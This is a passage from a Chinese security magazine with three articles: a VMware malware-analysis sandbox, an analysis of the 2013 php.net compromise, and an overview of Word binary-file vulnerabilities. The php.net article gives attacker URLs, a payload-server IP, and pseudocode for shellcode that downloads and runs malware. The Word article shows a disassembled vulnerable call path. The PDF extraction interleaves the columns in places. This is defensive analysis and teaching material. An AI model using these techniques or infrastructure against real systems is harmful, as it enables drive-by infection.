数 主 要 实 现 将 VMware 虚 拟 机 还 原 至 一 个 干 净 的 快 照 点,vm.start() 函 数 主 要 用 来 启 动 虚 拟 机, vm.copytovm() 函 数 将 主 机 中 待 分 析 恶 意 代 码 复 制 到 虚 拟 机 中 指 定 目 录,vm.winexec() 函 数 启 动 在 虚 拟 机 中 待 分 析 的 恶 意 代 码, vm.stop() 函 数 停 止 并 关 闭 虚 拟 机 3.2 在 python 中 使 用 Avsubmit 类 进 行 静 态 分 析 为 了 实 现 对 恶 意 代 码 的 静 态 分 析, 本 文 使 用 一 个 基 于 python 开 发 的 Avsubmit 类 将 疑 似 恶 意 代 码 上 传 到 VirusTotal[6] 进 行 静 态 分 析, 具 体 如 图 3 所 示 类 名 Avsubmit Avsubmit.upload() 方 法 Avsubmit.read() 图 3 基 于 python 开 发 的 Avsubmit 类 其 中 Avsubmit.upload() 函 数 将 恶 意 代 码 文 件 上 传 到 VirusTotal 进 行 分 析, Avsubmit.read() 函 数 收 集 VirusTotal 反 馈 的 分 析 报 告 并 生 成 日 志 3.3 在 python 中 使 用 Tshark 类 捕 获 网 络 日 志 为 了 实 现 对 恶 意 代 码 运 行 后 网 络 活 动 的 分 析, 本 文 使 用 一 个 基 于 python 开 发 的 Tshark [7] 类 来 实 现 对 虚 拟 机 在 恶 意 代 码 运 行 阶 段 生 成 网 络 流 量 的 捕 获, 具 体 如 图 4 所 示 类 名 Tshark Tshark.start() 方 法 Tshark.stop() Tshark.read() 图 4 基 于 python 开 发 的 INetSim 类 其 中 Tshark.start() 函 数 实 现 启 动 指 定 网 卡 上 网 络 流 量 的 捕 获,Tshark.stop() 函 47

行 业 热 点 数 实 现 停 止 对 指 定 网 卡 上 网 络 流 量 的 捕 获, Tshark.read() 函 数 实 现 回 读 指 定 服 务 日 志 并 生 成 日 志 文 件 3.4 在 python 中 使 用 Volatility 类 分 析 内 存 为 了 实 现 对 恶 意 代 码 运 行 后 内 存 活 动 的 分 析, 本 文 使 用 一 个 基 于 python 开 发 的 Volatility 类 来 实 现 对 VMware 虚 拟 机.vmem 内 存 文 件 表 1 所 示, 主 机 系 统 为 Windows XP SP3, 虚 拟 机 运 行 平 台 采 用 VMware Workstation 7.0.0, 虚 拟 机 操 作 系 统 为 Windows XP SP3, 开 发 工 具 为 Eclipse Java EE IDE for Web Developers + python 2.6 4.1 系 统 运 行 界 面 主 机 系 统 Windows Server 2003 或 Windows XP SP3 虚 拟 机 运 行 平 台 VMware Workstation 7.0.0 build-203739 虚 拟 机 操 作 系 统 Windows XP SP3 开 发 工 具 Eclipse Java EE IDE for Web Developers+python 2.6 的 实 际 控 制, 进 而 分 析, 具 体 如 图 5 所 示 其 中 Volatility.pslist() 函 数 实 现 列 举 类 名 Volatility Volatility.pslist() 方 法 Volatility.sockets() Volatility.conns() 图 5 基 于 python 开 发 的 Volatility 类 系 统 的 运 行 界 面 如 图 6 所 示 表 1 测 试 环 境 详 细 配 置 本 文 搭 建 了 一 个 基 于 VMware 环 境 的 恶 意 代 码 分 析 平 台, 虽 然 能 够 很 方 便 地 检 测 出 潜 在 的 一 些 恶 意 代 码, 但 是 部 分 模 块 的 实 现 还 有 不 足 之 处 首 先, 由 于 是 基 于 虚 拟 机 平 台 的, 对 于 那 些 具 有 反 虚 拟 机 调 虚 拟 机.vmem 内 存 文 件 中 的 活 动 进 程 列 表,Volatility.sockets() 函 数 实 现 列 举 虚 拟 机.vmem 内 存 文 件 中 的 网 络 套 接 字 对 象 列 表,Volatility.conns() 函 数 实 现 列 举 虚 拟 机.vmem 内 存 文 件 中 的 连 接 对 象 列 表 四 VMware 环 境 的 测 试 为 了 确 保 测 试 数 据 的 准 确 性, 每 一 台 被 测 试 样 本 所 用 主 机 虚 拟 机 虚 拟 机 平 台 及 其 系 统 的 开 发 工 具 都 必 须 配 置 相 同 如 图 6 系 统 测 试 界 面 图 4.2 检 测 结 果 为 了 检 测 该 系 统 的 实 际 性 能, 本 文 给 出 了 典 型 实 例 Ghost [8] 木 马 的 检 测 结 果, 如 图 7 至 图 10 所 示 通 过 该 检 测 结 果 的 分 析 可 知, 测 试 平 台 能 对 一 般 的 恶 意 代 码 行 为 进 行 归 纳 分 析 并 展 示, 满 足 了 分 析 的 自 动 化, 便 于 普 通 用 户 对 于 木 马 的 了 解 五 结 束 语 试 的 恶 意 代 码 而 言, 本 平 台 根 本 无 法 满 足 分 析 的 条 件 其 次, 本 平 台 在 设 计 之 初 就 是 基 于 Windows 平 台 来 设 计 的, 因 此 只 能 在 Windows 平 台 下 运 行, 这 给 整 个 系 统 的 跨 平 台 化 带 来 了 不 便 结 合 上 面 分 析 的 不 足, 完 善 该 检 测 系 统 的 下 一 步 工 作 从 以 下 几 个 方 面 着 手 : 第 一, 对 反 虚 拟 机 调 试 技 术 进 行 研 究, 解 决 只 能 分 析 部 分 恶 意 代 码 的 局 限 性 ; 第 二, 将 该 系 统 48

行 业 热 点 移 植 到 Linux 系 统 下, 以 满 足 不 能 跨 平 台 分 析 而 带 来 的 使 用 不 便 参 考 文 献 [1] 2010-2011 中 国 互 联 网 安 全 研 究 报 告 [R]. http://www.ijinshan.com/ 图 7 Avsubmit 模 块 提 交 Ghost 木 马 到 VirusTotal 的 分 析 结 果 zhuanti/2011report/. [2] 段 玉 龙. 基 于 沙 盒 仿 真 的 可 执 行 程 序 恶 意 代 码 检 测 工 具 的 研 究 与 实 现 [D]. 国 防 科 学 技 术 大 学. 2008. [3] VMware Workstation 7.0.0[P]. 图 8 Volatility 模 块 对 Ghost 木 马 所 启 动 的 svchost 进 程 的 分 析 结 果 http://www.vmware.com/products/ workstation/resources.html. 2011.4. [4] Hannibal. 利 用 内 存 分 析 的 方 法 快 速 分 析 恶 意 软 件 [R]. 博 文 视 点 Open Party 上 海 站 --- 在 线 安 全.2009. [5] Volatility[P]. http://code.google. 图 9 Tshark 模 块 捕 获 的 Ghost 木 马 向 外 发 起 的 反 向 连 接 的 分 析 结 果 com/p/volatility/downloads/list.2012.11. [ 6] V ir ustot al[p]. ht t ps: // w w w. virustotal.com/. 2012.12. [7] tshark[p]. http://www.wireshark. org/docs/man-pages/tshark.html. 2012.12. [8] Ghost. http://www.virustotal.com/ 图 10 Volatility 模 块 对 Ghost 木 马 所 启 用 的 连 接 套 接 字 的 分 析 结 果 search.html. 2011.4. 49

前 沿 技 术 php.net 被 植 入 恶 意 代 码 分 析 核 心 技 术 部 张 云 海 关 键 字 :php.net 挂 马 Magnitude 摘 要 : 本 文 对 2013 年 10 月 php.net 被 植 入 的 恶 意 代 码 进 行 分 析 1. 引 言 013 年 10 月 23 日,Google 的 Safe Browsing 检 测 到 php.net 存 在 下 载 安 装 恶 意 软 2件 的 行 为, 将 该 网 站 标 记 为 可 疑 php.net 的 管 理 者 对 此 进 行 了 调 查, 最 终 确 认 有 两 台 服 务 器 ( 承 载 www.php.net static.php.net git.php.net 与 bugs.php. net) 被 入 侵 攻 击 者 在 服 务 器 中 植 入 了 恶 意 代 码, 用 户 在 访 问 php.net 时 自 动 加 载 攻 击 者 准 备 的 恶 意 网 站, 从 而 在 用 户 不 知 情 的 情 况 下 下 载 安 装 恶 意 软 件 本 文 对 此 次 事 件 中 的 恶 意 代 码 进 行 分 析, 同 时 给 出 一 些 防 护 方 面 的 建 议 2. 恶 意 代 码 分 析 2.1. 攻 击 入 口 被 植 入 恶 意 代 码 的 文 件 是 http://static. php.net/www.php.net/userprefs.js, 攻 击 者 在 文 件 末 尾 添 加 的 代 码 如 下 : 50

前 沿 技 术 这 段 JavaScript 脚 本 经 过 了 高 度 的 混 淆, 其 执 行 的 操 作 如 下 : 创 建 一 个 iframe 元 素 设 置 iframe 元 素 的 src 属 性 为 http:// url.whichusb.co.uk/stat.htm 创 建 一 个 div 元 素 设 置 div 元 素 的 style 属 性 : width="10px" height="10px" overflow="hidden" position="absolute" left="-10000px" 将 iframe 元 素 添 加 为 div 元 素 的 子 节 点 将 div 元 素 添 加 到 当 前 页 面 执 行 这 段 脚 本 将 会 在 隐 藏 的 iframe 中 加 载 http://url.whichusb.co.uk/stat.htm http://url.whichusb.co.uk/stat.htm 对 目 标 的 系 统 环 境 进 行 探 测, 探 测 的 内 容 包 括 : 是 否 安 装 有 Java 是 否 安 装 有 AdobeReader 屏 幕 的 像 素 宽 度 探 测 的 结 果 通 过 POST 请 求 提 交 到 http://url.whichusb.co.uk/stat.htm, 如 下 : 51

前 沿 技 术 2.2. 漏 洞 利 用 漏 洞 利 用 页 面 的 内 容 如 图 1 所 示 其 结 构 符 合 Magnitude Exploit Kit 生 成 的 漏 洞 利 用 页 面 的 特 征, 因 此, 加 载 的 两 服 务 器 根 据 探 测 的 结 果 将 浏 览 器 重 定 向, 样 本 中 浏 览 器 会 被 重 定 向 至 http://aes. whichdigitalphoto.co.uk/nid?1, 如 下 : 个 Applet 一 个 Flash 以 及 一 个 iframe 页 面 分 别 利 用 了 以 下 漏 洞 : CVE-2012-0507 Java Version 7 Update 2 及 之 前 版 本 Version 6 Update 30 及 之 前 版 本 Version 5 Update 33 及 之 前 版 本 受 此 漏 洞 影 响, Oracle 在 2012 年 2 月 的 CPU 更 新 中 修 复 了 这 一 漏 洞 http://aes.whichdigitalphoto.co.uk/nid?1 继 续 将 浏 览 器 重 定 至 漏 洞 利 用 页 面 http:// zivvgmyrwy.3razbave.info/?695e6cca27beb62ddb0a8ea707e4ffb8=43, 如 下 : CVE-2013-2463 Java Version 7 Update 21 及 之 前 版 本 Version 6 Update 45 及 之 前 版 本 Version 5 Update 45 及 之 前 版 本 受 此 漏 洞 影 响,Oracle 在 2013 年 6 月 的 CPU 更 新 中 修 复 了 这 一 漏 洞 CVE-2013-0634 Adobe Flash Player 10.3.183.51 之 前 版 本 11.5.502.149 之 前 版 本 受 此 漏 洞 影 响,Adobe 在 2013 年 2 月 的 安 全 更 新 中 修 复 了 这 一 漏 洞 CVE-2013-2551/MS13-037 52

前 沿 技 术 IE 6 至 IE 10 均 受 此 漏 洞 影 响, 微 软 在 2013 年 5 月 的 安 全 更 新 中 修 复 了 这 一 漏 洞 服 务 器 会 对 HTTP 请 求 中 的 User- Agent 字 段 进 行 分 析, 以 确 定 浏 览 器 与 插 件 的 版 本, 进 而 判 断 漏 洞 利 用 是 否 能 够 成 功, 仅 在 漏 洞 利 用 能 够 成 功 时 返 回 漏 洞 利 用 文 件 样 本 中 获 取 到 的 是 iframe 页 面, 如 图 2 这 里 利 用 的 正 是 IE 的 漏 洞 CVE-2013-2551/MS13-037, 漏 洞 的 原 理 VUPEN 已 经 分 析 过, 这 里 不 再 赘 述 通 过 这 一 漏 洞 可 以 实 现 对 任 意 地 址 数 据 的 读 取, 随 后 的 利 用 过 程 如 下 : 图 1 漏 洞 利 用 页 面 的 内 容. 读 取 SharedUserData 偏 移 0x264 从 SystemCall 地 址 开 始 逆 向 搜 索, pop edi 处 的 NtProductType 确 定 ntdll.dll 的 加 载 地 址 mov eax,89h 读 取 SharedUserData 偏 移 0x26C 解 析 ntdll.dll 的 PE 头, 确 定 其 代 码 mov eax,d2h 处 的 NtMajorVersion 段 的 地 址 范 围 mov eax,d7h 读 取 SharedUserData 偏 移 0x270 处 的 NtMinorVersion gadgets : 在 ntdll.dll 的 代 码 段 中 搜 索 以 下 ROP 组 装 ROP gadgets 来 构 造 NtProtect VirtualMemory 的 参 数 根 据 NtProductType NtMajorVersion xchg eax,esp 通 过 heapspray 将 shellcode 布 局 NtMinorVersion 确 定 NtProtectVirtualMemory pop edx 到 指 定 内 存 区 域 的 系 统 调 用 号 inc dword ptr [esi] 调 用 NtProtectVirtualMemory 将 读 取 SharedUserData 偏 移 0x300 inc dword ptr [edi] shellcode 所 在 内 存 区 域 设 置 为 可 执 行 处 的 SystemCall 地 址 pop esi 跳 转 至 shellcode 处 执 行 53

前沿技术 shellcode 的第二部分是自解码的 解 码后的内容如图 4 所示 对应的伪代码如下 LoadLibrar ya = Get Address ("LoadLibraryA"); G e t Te m p P a t h A = G e t A d d r e s s ("GetTempPathA"); G e t Te m p F i l e A = G e t A d d r e s s ("GetTempFileA"); WinExec = GetAddress("WinExec"); LoadLibraryA("urlmon.dll"); URLDownloadToFileA = GetAddress ("URLDownloadToFileA"); for (url in list.split(' ')) { char path[0x260]; GetTempPathA(0x260, path); char file[0x100]; GetTempFileA(path, NULL, 0, file); URLDownloadToFileA(NULL, url, file, 0, NULL); 图 2 样本中获取到的是 iframe 页面 WinExec(file, SW_SHOW); 2.3.shellcode } shellcode 的第一部分用于获取自身的地址 如图 3 所示 54

前沿技术 图 3 shellcode 的第一部分用于获取自身的地址 因此 执行这段 shellcode 将下载并执行以下程序 http://144.76.192.102/?9de26ff3b66ba82b35e31bf4ea975dfe http://144.76.192.102/?90f5b9a1fbcb2e4a879001a28d7940b4 http://144.76.192.102/?8eec6c596bb3e684092b9ea8970d7eae http://144.76.192.102/?35523bb81eca604f9ebd1748879f3fc1 http://144.76.192.102/?b28b06f01e219d58efba9fe0d1fe1bb3 http://144.76.192.102/?52d4e644e9cda518824293e7a4cdb7a1 样本中实际下载成功的有 5 个程序 包括两个 United States Courts Ransomware 勒索软件 一个 Win32/Redyms 木马的变种 一个 ZeroAccess 僵尸网络以及一个 Win32/Vawtrak 后门软件 3. 防护技术分析 3.1 漏洞利用检测 此次事件中的漏洞利用通过 javascript 来完成 基于特征签名 进行检测的防病毒软件很难检测到这类威胁 实际上 在事件发生 一个月后 依然只有少数防病毒软件能够检测到样本中的漏洞利用 图 4 shellcode 的第二部分是自解码的 解码后的内容 55

前 沿 技 术 10 月 24 日 检 测 率 10 月 25 日 检 测 率 10 月 31 日 检 测 率 恶 意 软 件 1 1 / 47 17 / 47 29 / 47 基 于 静 态 分 析 的 检 测 技 术 会 遇 到 许 多 恶 意 代 码 有 意 设 置 的 障 碍, 包 括 : javascript 脚 本 进 行 了 高 强 度 的 混 淆 处 理 shellcode 以 CharCode 的 形 式 保 存 在 脚 本 中 自 定 位 代 码 伪 装 成 普 通 的 函 数 shellcode 进 行 了 自 解 码 处 理 shellcode 的 解 码 函 数 会 对 自 身 进 行 修 改 这 些 都 有 可 能 造 成 基 于 静 态 分 析 的 检 测 技 术 的 误 判 基 于 虚 拟 执 行 的 检 测 技 术 可 以 有 效 地 检 测 到 此 次 攻 击 中 的 漏 洞 利 用 恶 意 软 件 2 4 / 47 22 / 47 31 / 47 恶 意 软 件 3 2 / 47 26 / 47 30 / 47 恶 意 软 件 4 1 / 47 23 / 47 34 / 47 恶 意 软 件 5 2 / 47 23 / 47 29 / 47 图 5 用 virustotal 对 样 本 中 下 载 成 功 的 5 个 恶 意 软 件 进 行 分 析 的 结 果 一 周 内 主 要 的 防 病 毒 软 件 都 添 加 了 相 关 的 特 征 签 名 但 是, 根 据 php.net 发 布 的 公 告, 攻 击 者 是 在 10 月 22 日 植 入 的 恶 意 代 码,php.net 在 10 月 24 日 将 恶 意 代 码 清 除 在 恶 意 代 码 存 在 的 那 段 时 间, 只 有 个 别 的 防 病 毒 软 件 能 够 检 测 出 这 些 恶 意 软 件 4. 总 结 此 次 事 件 中 php.net 被 植 入 的 恶 意 代 码 没 有 利 用 新 的 0day 漏 3.2 恶 意 软 件 检 测 用 virustotal 对 样 本 中 下 载 成 功 的 5 个 恶 意 软 件 进 行 分 析 的 结 果 如 图 5 所 示 可 以 看 到, 防 病 毒 软 件 跟 进 的 速 度 还 是 很 快 的, 在 Safe Browsing 检 测 到 异 常 的 第 二 天 就 有 不 少 厂 商 添 加 了 相 关 的 特 征 签 名, 洞, 所 有 利 用 的 漏 洞 在 2013 年 6 月 之 前 都 有 了 修 复 的 补 丁, 因 此, 只 要 及 时 安 装 操 作 系 统 与 相 关 软 件 的 补 丁 就 不 会 受 此 次 事 件 的 影 响 从 防 护 的 角 度 来 看, 基 于 特 征 签 名 的 检 测 技 术 已 经 不 足 以 应 对 新 的 威 胁 形 式, 需 要 部 署 能 检 测 到 新 的 未 知 威 胁 的 系 统, 以 便 进 行 更 全 面 的 防 护 56

前 沿 技 术 MS Word 二 进 制 文 件 漏 洞 浅 析 核 心 技 术 部 李 志 昕 关 键 字 : Word 文 件 二 进 制 格 式 漏 洞 分 析 摘 要 : 应 用 软 件 本 地 漏 洞 在 早 些 时 候 并 不 特 别 受 关 注, 很 大 程 度 原 因 在 于 当 时 远 程 漏 洞 还 比 较 容 易 挖 掘, 黑 客 一 旦 发 现 远 程 漏 洞, 执 行 攻 击 更 能 掌 握 主 动, 而 本 地 漏 洞 通 常 还 需 要 目 标 配 合, 至 少 要 打 开 文 件 才 行 自 2006 年 后, 微 软 安 全 公 告 中 涉 及 的 MS Office 应 用 程 序 漏 洞 渐 渐 增 多, 且 最 近 几 年, 不 乏 一 些 经 典 APT 攻 击 案 例 是 由 Office 文 件 作 为 突 破 的 这 其 中 的 原 因 或 许 是 由 于 整 体 安 全 意 识 的 提 升, 以 及 从 OS 级 的 安 全 防 御 技 术 的 发 展, 使 得 远 程 漏 洞 的 挖 掘 和 利 用 变 得 更 加 困 难 反 而 社 会 工 程 加 恶 意 文 件 的 组 合, 成 为 APT 攻 击 的 有 效 手 段 MS Office 是 使 用 范 围 最 为 广 泛 的 桌 面 应 用 之 一, 所 以 其 文 件 漏 洞 挖 掘 和 利 用 的 增 多 也 就 不 足 为 怪 了 本 文 以 Office Word 文 件 格 式 着 笔, 为 读 者 介 绍 Word 相 关 漏 洞 的 成 因 及 检 测 一 引 言 文 主 要 介 绍 Microsoft Office 系 列 产 品 中 的 Word 应 用 程 序 本 存 在 的 安 全 漏 洞, 且 主 要 是 基 于 Word 97-2003 版 本 的 二 进 制 文 件 格 式 微 软 已 经 公 开 包 括 Word 在 内 的 部 分 Office 系 列 应 用 程 序 的 二 进 制 文 件 格 式 说 明 [1], 这 对 分 析 和 理 解 Office 相 关 漏 洞 提 供 了 很 大 帮 助 此 外, 本 文 着 重 讲 述 漏 洞 的 成 因, 而 非 漏 洞 利 用 的 方 法, 未 涉 及 Shellcode 编 写 技 术 等 内 容 更 多 是 希 望 通 过 对 格 式 说 明 的 介 绍 并 列 举 一 些 漏 洞 实 例, 使 大 家 可 以 对 Word 漏 洞 有 一 个 总 体 了 解, 从 而 提 高 对 Word 文 件 攻 击 的 防 范 意 识 通 常 Word 文 件 的 扩 展 名 为.doc, 所 以 为 了 不 致 混 淆, 下 文 中 使 用 Word 代 表 Word 应 用 程 序, 使 用 doc 代 表 Word 文 件 二 doc 文 件 基 础 结 构 Doc 文 件 结 构 非 常 复 杂, 这 里 仅 就 基 础 结 构 做 以 简 要 介 绍, 能 够 帮 助 读 者 把 握 doc 结 构 主 要 脉 络 即 可 首 先,doc 文 件 是 一 个 OLE 类 型 文 件,OLE 文 件 主 要 由 storages 和 streams 组 成 ( 见 图 1), 我 们 暂 且 不 需 要 深 入 OLE 结 构, 只 要 把 storage 和 stream 对 应 文 件 夹 和 文 件 理 解 就 可 以 了 我 们 所 要 关 注 的 doc 文 件 数 据, 就 是 以 stream 的 形 式 存 在 的 那 么, doc 文 件 必 须 要 包 含 一 个 名 为 WordDocument 的 stream 和 一 个 名 为 1Table 或 0Table 的 stream 这 两 个 stream 是 不 能 缺 少 的, 否 则 就 不 能 称 为 doc 文 件 此 外, 通 常 还 有 包 含 一 个 名 为 Data 的 57

前 沿 技 术 不 同 的 结 构 体 自 然 有 不 同 的 含 义, 单 doc 格 式 说 明 中 给 出 的 基 本 结 构 类 型 就 有 三 百 多 个, 不 可 谓 不 复 杂 但 这 些 结 构 体 常 见 的 组 织 形 式 却 可 大 致 分 为 两 类 : (1) 第 一 类 由 CP(Character Position) 图 1 OLE 结 构 示 意 图 stream, 顾 名 思 义 用 于 存 放 一 些 被 引 用 的 数 据, 比 较 多 见 的 是 内 嵌 图 片 WordDocument stream 中 保 存 的 最 重 要 的 数 据 结 构 是 FIB(File Information Block), FIB 中 除 了 保 存 doc 文 件 的 一 些 基 本 信 息 ( 如 格 式 版 本 ) 之 外, 大 部 分 字 段 是 指 向 其 它 结 构 的 指 针 和 标 识 其 结 构 大 小 ( 见 图 2) 例 如 fcclx 字 段 表 示 Clx 结 构 在 Table stream 中 的 偏 移, lcbclx 字 段 标 识 Clx 结 构 的 大 小 类 似 的, 名 称 以 fc 开 头 的 字 段 都 表 示 对 应 结 构 在 某 个 stream 中 的 偏 移, 对 应 的 以 lcb 开 头 的 字 段 则 表 示 其 结 构 大 小 和 PLC 组 成 CP 是 一 个 32-bit 无 符 号 整 数, 简 单 理 解 类 似 于 占 位 符 CP 可 以 代 表 此 处 是 文 字 图 片 或 者 是 对 象 等 等, 但 具 体 属 性 则 由 PLC 决 定 PLC 是 一 类 属 性 的 集 合, 例 如 Plcbkf 就 是 包 含 bookmark 信 息 的 属 性 集 合 (2) 第 二 类 是 STTB(String Table), 也 可 以 简 单 理 解 为 一 类 信 息 的 集 合, 例 如 SttbfFfn 包 含 的 是 系 统 字 体 的 信 息 当 然 这 里 string 可 能 包 含 unicode 字 符 串, 但 并 非 单 纯 是 一 个 字 符 串, 多 数 情 况 下 仍 是 一 个 结 构 体 总 结 一 下, 如 果 要 解 析 doc 文 件, 则 可 以 以 FIB 为 起 点, 在 FIB 中 找 到 对 应 结 构 体 的 位 置, 然 后 再 顺 藤 摸 瓜 逐 步 定 位 到 具 体 要 提 取 的 数 据 的 位 置 三 恶 意 doc 文 件 结 构 图 2 doc 文 件 基 础 结 构 图 ( 部 分 ) 接 下 来, 再 让 我 们 看 一 下 通 常 恶 意 doc 58

前 沿 技 术 文 件 的 结 构 ( 见 图 3), 这 可 以 帮 助 我 们 清 楚 地 了 解 Word 文 件 攻 击 的 过 程 及 现 象 程 序 崩 溃, 也 就 不 需 要 再 做 什 么 了, 但 这 种 情 况 比 较 少 如 果 是 导 致 Word 崩 溃, 通 常 Shellcode 会 dump 一 个 干 净 的 doc 文 件, 再 调 用 Word 打 开 显 示 这 也 就 是 被 攻 击 者 打 开 恶 意 doc 文 件 时, 可 能 会 看 到 闪 一 下 才 显 示 的 原 因 若 读 者 遇 到 此 种 现 象, 就 需 要 警 惕 了, 说 不 定 您 的 电 脑 已 经 中 招 四 漏 洞 实 例 分 析 如 果 单 从 二 进 制 格 式 形 成 的 漏 洞 来 讲, 实 际 上 Word 文 件 漏 洞 与 通 常 的 客 户 端 程 序 漏 洞 并 无 区 别, 也 就 是 整 数 溢 出 堆 栈 溢 出 变 量 未 初 始 化 内 存 释 放 后 重 用 等 等 除 off-by-one 这 种 属 于 逻 辑 错 误 外, 很 大 程 度 上 形 成 漏 洞 的 原 因 都 是 对 文 件 数 据 校 验 不 严 所 致 图 3 doc 恶 意 文 件 结 构 图 所 谓 恶 意 文 件, 就 是 指 经 过 攻 击 者 精 心 构 造, 使 应 用 程 序 在 处 理 文 件 过 程 能 够 触 发 特 定 漏 洞 并 跳 转 到 指 定 的 Shellcode 执 行 的 文 件 由 于 doc 文 件 结 构 比 较 复 杂, 所 以 构 造 恶 意 doc 文 件 通 常 是 在 正 常 文 件 基 础 上 进 行 篡 改 常 见 的 有 修 改 长 度 字 段 指 针 等 等, 复 杂 点 的 也 有 替 换 图 片 或 Flash 的 本 节 并 不 打 算 一 一 列 举 各 种 类 型 的 漏 洞, 仅 举 些 有 代 表 性 的 且 有 公 开 分 析 报 告 的 漏 洞, 读 者 可 根 据 本 文 参 考 资 料 中 提 供 的 链 接 查 阅 相 关 报 告, 举 一 反 三 之 后 相 信 会 有 更 多 收 获 4.1 sprmcmajority 记 录 解 析 栈 溢 出 漏 洞 前 面 提 过 doc 格 式 中 有 非 常 多 的 长 度 字 段, 因 此 由 于 对 长 度 未 为 了 避 免 严 重 破 环 doc 文 件 结 构, 导 致 Word 直 接 报 文 件 无 法 打 开, 通 常 Shellcode 采 用 多 段 植 入 触 发 漏 洞 后 EIP 先 被 指 向 一 段 长 度 较 小 的 Shellcode, 通 常 是 跳 转 指 令, 跳 到 具 有 实 际 恶 意 功 能 的 Shellcode 继 续 执 行 后 续 就 是 解 密 并 dump 恶 意 程 序, 再 运 行 恶 意 程 序 实 行 注 册 服 务 开 启 网 络 监 听 等 一 系 列 攻 击 行 为 最 后, 为 了 掩 盖 攻 击 行 为, 攻 击 者 会 在 植 入 恶 意 程 序 后 恢 复 正 常 的 doc 文 件 显 示 如 果 攻 击 者 运 气 好, 漏 洞 触 发 并 不 会 令 Word 图 4 sprmcmajority Structure 59

前 沿 技 术 做 校 验 或 校 验 不 严 从 而 导 致 栈 溢 出 的 漏 洞 也 是 比 较 多 见 的 CVE-2010-1900 就 是 一 例, 分 析 报 告 见 [2] 图 4 展 示 了 恶 意 样 本 中 的 sprmcmajority 结 构, 其 中 PRL_Cmajority.cb 代 表 接 下 来 的 grpprl 结 构 的 大 小, 此 处 被 修 改 成 0xFF 而 实 际 Word 只 为 grpprl 初 始 化 了 0x54 字 节 的 内 存, 且 在 进 行 内 存 拷 贝 前 未 对 cb 进 行 校 验 就 作 为 参 数 使 用, 结 果 可 想 而 知, 造 成 了 缓 冲 区 溢 出 4.2 畸 形 数 据 结 构 溢 出 漏 洞 这 个 例 子 与 前 一 个 比 较 类 似, 也 是 在 sprm 结 构 上 做 文 章,CVE 编 号 是 CVE- 2006-6456, 分 析 报 告 见 参 考 资 料 [3] 图 5 中 红 色 部 分 展 示 了 恶 意 样 本 中 存 在 问 题 的 sprm 结 构, 我 们 只 要 将 其 与 前 一 个 sprmtbrctopcv 结 构 ( 地 址 0x00000FC4) 对 比 一 下, 可 以 看 出 区 别 只 有 地 址 0x00000FD0 处 被 改 成 了 0xFF 0xFF 实 际 上, 原 始 值 应 该 是 0xD6 0x08 这 样 就 清 楚 了,0xD6 与 前 一 个 字 节 0x1B 一 起 表 明 这 是 一 个 sprmtbrcleftcv 结 构 (sprmcode :0xD61B) 0x08 应 该 是 接 下 图 5 Sprm Structure 来 grpprl 结 构 的 大 小 当 然,Word 并 非 简 单 地 对 比 sprmcode 的 值, 而 是 有 一 套 复 杂 的 解 析 流 程, 所 以 虽 然 可 能 并 不 存 在 sprmcode 为 0xFF1B 的 sprm 结 构, 但 Word 仍 然 继 续 解 析 并 最 终 在 做 内 存 拷 贝 时 造 成 了 缓 冲 区 溢 出 4.3 SmartTag 对 象 指 针 内 存 破 坏 漏 洞 再 看 个 比 较 有 趣 的 例 子, 某 些 情 况 下 Word 程 序 执 行 call 指 令 的 目 标 地 址, 是 可 以 通 过 文 件 数 据 控 制 的 ( 非 溢 出 ), 例 如 SmartTags 功 能 这 个 例 子 的 CVE 编 号 是 CVE-2006-2492, 分 析 报 告 见 参 考 资 料 [4] 60

前 沿 技 术 图 6 展 示 了 SmartTag 的 结 构, 其 中 黄 色 部 分 就 是 有 问 题 的 数 据 从 字 段 名 称 Pointer 就 可 以 猜 出 这 是 一 个 指 针 那 么, 在 这 个 样 本 中 被 修 改 为 0x125B68, 间 接 对 应 一 个 内 存 地 址, 而 这 个 内 存 地 址 上 的 数 据 源 自 文 件 中 的 数 据 结 构 的 Pointer 字 段 的 值, 就 可 以 控 制 Word 程 序 的 执 行 流 程 了 4.4 其 它 安 全 隐 患 下 边 描 述 的 两 种 情 形 可 能 不 属 于 Word 的 漏 洞, 属 于 Word 的 功 能, 但 这 些 功 能 如 果 被 黑 客 利 用, 同 样 可 以 实 现 攻 击 的 目 的, 所 以 也 应 该 引 起 注 意 第 一 种 情 形 是 Word 包 含 恶 意 控 件 或 恶 意 文 件 因 为 doc 文 件 属 于 OLE 类 型 文 件, 允 许 嵌 入 ActiveX 控 件 或 OLE 类 型 文 件 比 如 当 前 比 较 常 见 的 嵌 入 ShockwareFlash 控 件, 利 用 Flash 漏 洞 或 在 Flash 中 使 用 Script 还 有, 大 家 熟 悉 Office 可 以 使 用 VBA 脚 本, 但 可 能 没 有 太 多 人 知 道 也 可 以 使 用 JavaScript, 方 法 是 使 用 ScriptLet 图 6 SmartTag Structure 我 们 先 来 看 一 下 出 问 题 的 程 序 反 汇 编 代 码 : 1 301ac0eb 40 inc eax ;SmartTag 2 301ac0ec 40 inc eax 3 301ac0ed 83780800 cmp dword ptr [eax+8], 0 ; Pointer 4 301ac0f1 7409 je winword+0x1ac0fc (301ac0fc) 5 301ac0f3 8b4008 mov eax, dword ptr [eax+8] 6 301ac0f6 8b08 mov ecx, dword ptr [eax]] ;*Pointer 7 301ac0f8 50 push eax 8 301ac0f9 ff5114 call dword ptr [ecx+14h] ; *(*Pointer + 14) 结 合 图 6 一 起 分 析, 首 行 eax 保 存 的 是 一 个 指 向 SmartTag 结 构 的 指 针, 经 过 两 次 inc 指 令, 在 第 3 行 eax+8 则 指 向 Pointer 字 段, 第 4 行 判 断 Pointer 值 不 为 0 后, 第 5 行 将 值 0x125B68 赋 给 eax, 第 6 行 将 地 址 0x125B68b 保 存 的 值 赋 给 ecx, 最 后 一 行 ecx+14 保 存 的 值 成 为 call 的 目 标 地 址 由 此 可 见, 只 要 修 改 文 件 中 SmartTag Component 控 件 [5] 好 在 Office 默 认 禁 止 执 行 ActiveX 控 件, 打 开 含 有 控 件 的 文 件 时 会 询 问 是 否 启 用, 有 专 题 文 章 论 述 ActiveX 安 全 [6] 但 如 果 是 doc 中 包 含 恶 意 格 式 的 图 片 或 其 它 OLE 类 型 文 件, 通 常 是 不 会 有 任 何 加 载 提 示 的, 这 就 要 依 靠 检 测 工 具 才 行 了 第 二 种 情 形 是, 文 件 虽 不 是 Word 二 进 制 格 式, 扩 展 名 却 是.doc, 双 击 可 以 用 Word 打 开 并 触 发 漏 洞 最 常 见 的 是 RTF 格 式, 一 方 面 可 能 存 在 RTF 自 身 的 漏 洞, 还 有 就 是 RTF 中 嵌 入 的 Objdata 实 际 是 一 个 doc 文 件, 这 就 等 同 于 打 开 doc 文 件 了 还 